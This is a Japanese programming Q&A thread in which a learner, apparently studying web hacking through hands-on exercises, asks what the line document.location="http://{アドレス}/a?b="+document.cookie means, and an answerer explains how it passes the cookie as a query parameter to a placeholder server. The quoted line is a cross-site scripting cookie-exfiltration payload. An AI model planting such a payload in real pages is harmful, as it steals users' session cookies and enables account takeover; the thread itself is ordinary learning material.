masa001
@masa001 (masa)

Are you sure you want to delete the question?

If your question is resolved, you may close it.

Leaving a resolved question undeleted may help others!

We hope you find it useful!

このコマンドの意味を教えて下さい。

はじめまして。
質問ですが下記のコマンドの解釈を知りたいのですが、ご教示頂けたら幸いです。
++++++++++++++++++++++++++++++++++++++++
document.location="http://{アドレス}/a?b="+document.cookie;
++++++++++++++++++++++++++++++++++++++++
document.location=

Document.location
Document.location は読み取り専用のプロパティで、この文書の URL に関する情報を持った Location
オブジェクトを返します。
これはその URL を変更したり他の URL を読み込んだりするためのメソッドも提供しています。
Document.location は読み取り専用の Location オブジェクトですが、 DOMString を代入することができま
す。つまり、document.location が文字列であるかのように扱うことができます。 document.location =
'http://www.example.com' はdocument.location.href = 'http://www.example.com' の別名です。
URL を文字列として受け取るだけであれば、読み取り専用の document.URL プロパティも利用することができま
す。現在の文書が閲覧コンテキスト内にない場合、返値は null となります。

"http://{}/a?b="
この「/a?b=」の意味が理解できません。 

指定のアドレスにCookieを付けて送信する様ですが、上記のコマンドは何故必要でしょうか?
お手数をおかけします。

0

1Answer

普通にブラウザでアクセスする場合に http://www.example.com/abc とすれば、www.example.com というサーバの abc というコンテンツを取得する意味になりますよね。

この abc というコンテンツが動的な場合には、引数を渡すことができる場合があります。

引数の渡し方にもいろいろありますが、キーと値を以下のように渡す方法があります。

http://www.example.com/abc?key1=value1&key2=value2

これは key1 というキーで値 value1 を、key2 というキーで値 value2 を渡しています。

document.location="http://{アドレス}/a?b="+document.cookie;

これは、{アドレス} で指定されるサーバの a というコンテンツに、b というキーでクッキーの値を渡しているのだと思います。

0Like

Comments

  1. @masa001

    Questioner

    いつもお世話になります。
    早速のご回答ありがとう御座います。

    そのように引数を渡せることを知りませんでした。
    phpで言うところの動的な引数を渡すような感じと解釈しました

    いつも大変参考になります
    HACKINGMEも様々な教材で勉強してハンズオンをすると流れは理解できるのですが
    思いのほか具体的な方法論がなく上手くいかないもので
    Cookieの編集はどうするのか?
    ユーザーAgentを書き換えは?
    HTTPヘッダを書き換えるには?
    等など覚えることばかりです
    そのようなところでなんともならなくなった時にこのような回答はとても価値があります。

    感謝します。ご教示の内容を確認し深めて参ります。
  2. もし上記の回答で問題がないようであれば、お手数ですが質問をクローズしてもらえますか(返信は不要です)

Your answer might help someone💌